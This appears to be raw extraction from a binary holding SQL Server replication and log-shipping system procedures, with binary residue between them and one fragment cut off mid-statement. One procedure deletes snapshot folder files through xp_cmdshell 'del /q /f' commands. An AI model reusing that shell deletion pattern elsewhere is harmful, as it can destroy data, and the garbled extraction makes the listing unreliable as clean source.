!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<xz	D0hr &8--
-- Name: sp_MShelpdynamicsnapshotjobatdistributor
--
-- Description: This gives scheduling information about a dynamic snapshot job 
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: Only members of the 'sysadmin' server role and members of the 
--           'db_owner' database role at the distributor can call this 
--           procedure. This procedure is intended to be called through 
--           the distributor_admin remote login in the case where
--           the distributor is a different machine from the publisher. 
--
create procedure sys.sp_MShelpdynamicsnapshotjobatdistributor 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @dynamic_filter_login sysname,
    @dynamic_filter_hostname sysname,
    @frequency_type     int output,
    @frequency_interval int output,
    @frequency_subday   int output,
    @frequency_subday_interval   int output,
    @frequency_relative_interval int output,
    @frequency_recurrence_factor int output,
    @active_start_date           int output,
    @active_end_date             int output,
    @active_start_time_of_day    int output,
    @active_end_time_of_day      int output
)
as
begin
    set nocount on

    declare @retcode int
    declare @job_id uniqueidentifier
    declare @publisher_id int
    declare @publication_type int
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_srvrolemember('sysadmin') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MShelpdynamicsnapshotjobatdistributor', 'distribution')
        return (1)
    end

    if @dynamic_filter_login is NULL and @dynamic_filter_hostname is NULL
    begin
        raiserror(20653, 16, -1)
        return 1
    end
    
    select @retcode = 0

    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers
     WHERE UPPER(srvname) = UPPER(@publisher)
    IF @publisher_id IS  NULL
    BEGIN
        RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
    END

    select @job_id = job_id,
           @publication_type = publication_type
      from MSsnapshot_agents
     where publisher_id = @publisher_id and 
           publication = @publication and 
           publisher_db = @publisher_db and
           ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
           ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname)
    if @job_id is NULL
    begin
        raiserror(21325, 11, -1)
        return 1
    end
    
    if @publication_type <> 2
    begin
        raiserror(20654, 16, -1)
        return 1
    end

    select @frequency_type = ss.freq_type,
           @frequency_interval = ss.freq_interval,
           @frequency_subday = ss.freq_subday_type,
           @frequency_subday_interval = ss.freq_subday_interval,
           @frequency_relative_interval = ss.freq_relative_interval,
           @frequency_recurrence_factor = ss.freq_recurrence_factor,
           @active_start_date = ss.active_start_date,
           @active_end_date = ss.active_end_date,
           @active_start_time_of_day = ss.active_start_time,
           @active_end_time_of_day = ss.active_end_time
    from msdb..sysjobs sjb, msdb..sysjobschedules sjs, msdb..sysschedules ss
    where sjb.job_id = @job_id and
          sjs.job_id = sjb.job_id and
          ss.schedule_id = sjs.schedule_id

    
    RETURN(0)

UNDO:
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<M{	,0N 8--
-- Name: sp_MSismergejobnamegenerated
--
-- Descriptions: This procedure checks whether a given job id corresponds to
--               a merge agent job with a name generated by replication. 
--               If so, a return value of zero will be returned, otherwise
--               a value of one will be returned to the caller.
-- 
-- Notes: 1) For this procedure to be effective, it must match the current
--           merge agent name generation algorithm. Note that the 
--           algorithm used for matching auto-generated job name is not 
--           exact. (See sp_MSadd_merge_agent instdist.sql)
--        2) This procedure is supposed to be executed at the distributor.
--           The @publisher, @publisher_db, and @publication parameters
--           are supposed to be passed through the RPC link from the 
--           publisher.
--        3) There are two distinct code paths for the generation of 
--           the merge job name, one uses the agent id, and the other
--           uses a guid via the fn_repluniquename function.        
--
-- Parameters: @publisher     sysname
--             @publisher_db  sysname
--             @publication   sysname (This can be null for shared agent)
--             @subscriber    sysname
--             @job_id        uniqueidentifier
--
-- Returns: 0 - If the specified jobid corresponds to a snapshot job with
--              a generated name.
--          1 - Otherwise
--
-- Security: This is an internal system procedure.
--
create procedure sys.sp_MSismergejobnamegenerated 
(
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname,
    @subscriber   sysname,
    @job_id       uniqueidentifier        
)
as
begin
    set nocount on
    
    declare @generated_job_name nvarchar(4000)
    declare @generated_job_name_length int
    declare @job_name sysname
    
    select @job_name = null
    select @job_name = name
      from msdb.dbo.sysjobs_view
     where job_id = @job_id

    if @job_name is null
    begin
        goto MISMATCH
    end

    -- First of all, make sure that the job is indeed a merge agent
    -- job (there should be a step with Merge as the subsystem in the job)
    if not exists (select *
                     from msdb.dbo.sysjobsteps
                    where job_id = @job_id
                      and upper(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'MERGE')
    begin
       goto MISMATCH 
    end

    -- 1) Try doing a match for a name generated based on agentid
    select @generated_job_name = left(@publisher, 21) + N'-'
                               + left(@publisher_db, 21) + N'-'
                               + left(@publication, 21) + N'-'
                               + left(@subscriber, 21) + N'-'
                               + N'[0-9]%'

    if upper(@job_name) like upper(@generated_job_name)
    begin
        return 0
    end
    
    -- 2) Try doing a match for a name generated using a guid, see fn_repluniquename
    select @generated_job_name = sys.fn_repluniquename (NULL,
    														@publisher,
    														@publisher_db,
    														@publication,
    														@subscriber)
    
    select @generated_job_name_length = len(@generated_job_name)

    -- Try matching the prefix of the job name
    if upper(left(@job_name, @generated_job_name_length)) = upper(@generated_job_name)
    begin
        -- Checks if the tail end of the job name matches a hexadecimal guid 
        if upper(right(@job_name, len(@job_name) - @generated_job_name_length) collate SQL_Latin1_General_CP1_CS_AS)
            like N'[0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]'
        begin
            return 0
        end
        else
        begin
            goto MISMATCH
        end
    end

MISMATCH:
    if @job_name is not null
    begin
        raiserror(21695, -1, -1, @job_name)
    end
    return 1
end
0)|!@ 8create procedure sys.sp_MSdroplightweighttriggers
	@artid	uniqueidentifier
as
	set nocount on

	declare @procname	nvarchar(517)
	declare @owner		sysname
	declare @command	nvarchar(4000)
	declare @postfix	nchar(32)
	declare @retcode	int

    exec @retcode= sys.sp_MSguidtostr @artid, @postfix out
    if @@error <> 0 or @retcode <> 0 return 1

    select @owner= destination_owner from dbo.sysmergearticles where artid=@artid
    set @owner= isnull(@owner, 'dbo')
    
	-- remove the insert trigger
	set @procname= 'MSmerge_upd_lws_' + @postfix
	set @procname= quotename(@owner) + '.' + quotename(@procname)
	if object_id(@procname, 'TR') is not null
	begin
		select @command= 'drop trigger ' + @procname
		exec(@command)
		if @@error <> 0 return 1
	end
    
	-- remove the delete trigger
	set @procname= 'MSmerge_ins_lws_' + @postfix
	set @procname= quotename(@owner) + '.' + quotename(@procname)
	if object_id(@procname, 'TR') is not null
	begin
		select @command= 'drop trigger ' + @procname
		exec(@command)
		if @@error <> 0 return 1
	end
    
	-- remove the delete trigger
	set @procname= 'MSmerge_del_lws_' + @postfix
	set @procname= quotename(@owner) + '.' + quotename(@procname)
	if object_id(@procname, 'TR') is not null
	begin
		select @command= 'drop trigger ' + @procname
		exec(@command)
		if @@error <> 0 return 1
	end

	-- remove the download-only trigger
	set @procname= 'MSmerge_downloadonly_' + @postfix
	set @procname= quotename(@owner) + '.' + quotename(@procname)
	if object_id(@procname, 'TR') is not null
	begin
		select @command= 'drop trigger ' + @procname
		exec(@command)
		if @@error <> 0 return 1
	end

	return 0
AME,
        SS_UDT_SCHEMANAME                     = s_pp.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                           = s_pp.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME              = s_pp.SS_UDT_ASSEMBLY_TYPENAME,
        SS_TYPE_CATALOG_NAME                  = s_pp.SS_TYPE_CATALOG_NAME,
        SS_TYPE_SCHEMANAME                    = s_pp.SS_TYPE_SCHEMANAME,
        SS_DATETIME_PRECISION                 = s_pp.SS_DATETIME_PRECISION
    from
        sys.fn_procedure_params_90_rowset2(
          @procedure_schema,
          @parameter_name) s_pp

    order by 2, 3, 5
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`}	v<V|	6%0/@ 8create procedure sys.sp_MSpeersendresponse
(
	@request_id				int,
	@originator				sysname,
	@originator_db			sysname,
	@originator_publication	sysname
)
as
begin
	set nocount on

	declare @retcode		int,
			@cmd			nvarchar(4000),
			@response_srvr	sysname,
			@response_db	sysname

	-- security check for subscriber
	-- Though the work below is related to a publisher, we use 
	-- a check for the subscriber because this is normally executed
	-- by the distribution agent at a subscriber (republisher).
	-- this should only be used by peer to peer subscribers.
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or @retcode <> 0 
    begin
        return 1
    end

	select @cmd = NULL,
			@response_srvr = publishingservername(),
			@response_db = db_name()

	-- if are on the originator then no-op
	if UPPER(@originator) = UPPER(@response_srvr)
			and @originator_db = @response_db
	begin
		return 0
	end
			
	begin transaction tr_sp_MSpeersendresponse
	save transaction tr_sp_MSpeersendresponse

	select @cmd = N'exec sys.sp_MSpeerapplyresponse @request_id=' + cast(@request_id as nvarchar) +
												N',@originator=N' + quotename(@originator, '''') +
												N',@originator_db=N' + quotename(@originator_db, '''') +
												N',@response_srvr=N' + quotename(@response_srvr, '''') +
												N',@response_db=N' + quotename(@response_db, '''')

	exec @retcode = sys.sp_MSpeertopeerfwdingexec @command = @cmd,
													@publication = @originator_publication
	if @@error <> 0 or @retcode <> 0
		goto FAILURE

	commit transaction tr_sp_MSpeersendresponse

	return 0
FAILURE:
	rollback transaction tr_sp_MSpeersendresponse
	commit transaction

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`|	<^}	6)20 @8--
-- Name: sp_MSdeletefoldercontents
--
-- Description: This is a lighweight wrapper for deleting all files in the
--              specified directory. This procedure is meant to be called by 
--              a remote publisher for deleting files in the distributor's 
--              context.
--
-- Parameter: @folder nvarchar(255) (mandatory)
--
-- Returns 0 - succeeded
--         1 - failed
--
-- Security: Only members of the sysadmin server role and members of the 
-- db_owner role of the distribution database can execute this function. This
-- procedure is intended to be called through the distribution_admin remote 
-- login from remote publishers
--
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSdeletefoldercontents 
(
    @folder nvarchar(255)
)
as
begin
    set nocount on

    declare @command_prefix nvarchar(4000)
    declare @command nvarchar(4000)
    declare @retcode int

    --
    -- security check
    -- only sysadmin can execute this
    --
    if (isnull(is_srvrolemember('sysadmin'),0) =0) 
    begin
        raiserror(21089, 16, -1)
        return (1)
    end
    select @retcode = 0
    if len(@folder) = 0 or @folder is null
    begin
        return 0
    end

    -- \ terminate path
    if substring(@folder, len(@folder), 1) <> N'\'
    begin
        select @folder = @folder + N'\'
    end 


    if (platform() & 0x1) = 0x1 
    begin
        select @command_prefix = 'del /q /f "' + sys.fn_escapecmdshellsymbolsremovequotes(@folder) collate database_default
    end
    else
    begin
        -- Win9x 'del' command does not support the /q and /f switches
        select @command_prefix = 'del "' + sys.fn_escapecmdshellsymbolsremovequotes(@folder) collate database_default
    end

    -- Hardwired merge system table files without embedded _
    set @command = @command_prefix + N'sysmergesubsetfilters*.sch"'
    exec @retcode = master..xp_cmdshell @command, no_output

    set @command = @command_prefix + N'sysmergesubsetfilters*.bcp"'
    exec @retcode = master..xp_cmdshell @command, no_output
    
    -- .sch extensio
    set @command = @command_prefix + N'*_*.sch"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .bcp extension
    set @command = @command_prefix + N'*_*.bcp"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .idx extension
    set @command = @command_prefix + N'*_*.idx"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .sql extension
    set @command = @command_prefix + N'*_*.sql"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .ftx extension
    set @command = @command_prefix + N'*_*.ftx"'
    exec @retcode = master..xp_cmdshell @command, no_output
    
    -- .pre extension
    set @command = @command_prefix + N'*_*.pre"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- snapshot.cab
    set @command = @command_prefix + N'snapshot.cab"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- dynsnapvalidation.tok
    set @command = @command_prefix + N'dynsnapvalidation.tok"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .pre extension
    set @command = @command_prefix + N'snapshot.pre"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .trg extension
    set @command = @command_prefix + N'*_*.trg"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .xpp extension
    set @command = @command_prefix + N'*_*.xpp"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .cft extension
    set @command = @command_prefix + N'*_*.cft"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .dri extension
    set @command = @command_prefix + N'*_*.dri"'
    exec @retcode = master..xp_cmdshell @command, no_output

    -- .prc extension
    set @command = @command_prefix + N'*_*.prc"'
    exec @retcode = master..xp_cmdshell @command, no_output

Failure:

    return @retcode

end
!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<h~	9F0@ '8
--
-- Name:
--		sp_MSrepl_SASdatatypes
--
-- Description:
--		Define Sybase AS data types
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		
--

CREATE PROCEDURE sys.sp_MSrepl_SASdatatypes
(
	@dbms		sysname = 'Sybase',
	@version	sysname = NULL
)
AS
BEGIN
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'binary'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'bit'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'char'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'date'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'datetime'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 3, @type = N'decimal'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'double precision'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 1, @type = N'float'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'image'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'int'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'money'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'nchar'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'ntext'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'unitext'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 3, @type = N'numeric'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'nvarchar'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'real'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'smalldatetime'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'smallint'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'smallmoney'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'text'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'time'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 0, @type = N'tinyint'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'varbinary'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'varchar'
END
0G)@ 8
-- add it
create view sys.dm_pdw_exec_sessions as
select
	session_id	collate database_default session_id,
	status		collate database_default status,
	request_id	collate database_default request_id,
	security_id,
	login_name	collate database_default login_name,
	login_time,
	query_count,
	is_transactional,
	client_id	collate database_default client_id,
	app_name	collate database_default app_name
from sys._dm_pdw_exec_sessions
0 #@ 
8create procedure sys.sp_delete_log_shipping_primary_database 
(
    @database sysname   -- cannot be NULL
    ,@ignoreremotemonitor bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@primary_id uniqueidentifier
                ,@backup_job_id uniqueidentifier
                ,@monitor_server sysname 
                ,@monitor_server_security_mode bit

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- Does it exist
    --
    select @primary_id = primary_id
            ,@backup_job_id = backup_job_id
            ,@monitor_server = monitor_server
            ,@monitor_server_security_mode = monitor_server_security_mode
    from msdb.dbo.log_shipping_primary_databases
    where primary_database = @database
    if (@primary_id is null)
    begin
        --
        -- Does not exist - return no error
        --
        return 0
    end
    --
    -- there should not be any secondaries for this primary
    --
    if exists (select * from msdb.dbo.log_shipping_primary_secondaries
                where primary_id = @primary_id)
    begin
        raiserror(32011, 16, 1, @database)
        return 1
    end
    --
    -- delete backup job
    --
    exec sys.sp_MSprocesslogshippingjob @type = 1
                                ,@mode = 2 
                                ,@jobid = @backup_job_id
    --
    -- remove monitor metadata for the primary and remote monitor
    --
    exec sys.sp_MSprocesslogshippingmonitorprimary @mode = 2
                ,@primary_id = @primary_id
                ,@primary_server = @@servername
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@primary_database = @database
                ,@ignoreremotemonitor = @ignoreremotemonitor
    --
    -- Remove remote monitor link if needed
    --
    if (upper(@monitor_server) != upper(@@servername))
    begin
        --
        -- check if any other primary or secondary is using this monitor
        --
        if not exists (select * from msdb.dbo.log_shipping_primary_databases
                            where monitor_server = @monitor_server
                                and primary_database != @database)
            and not exists (select * from msdb.dbo.log_shipping_secondary
                                    where monitor_server = @monitor_server)
        begin
            exec msdb.sys.sp_MSprocesslogshipmonitorlink @mode = 2
                                        ,@monitor_server = @monitor_server
                                        ,@monitor_server_security_mode = @monitor_server_security_mode
            if (@retcode != 0 or @@error != 0)
                return 1
        end
    end
    --
    -- delete entry from log_shipping_primary_databases
    --
    delete msdb.dbo.log_shipping_primary_databases
    where primary_database = @database
    --
    -- all done
    --
    return 0
end
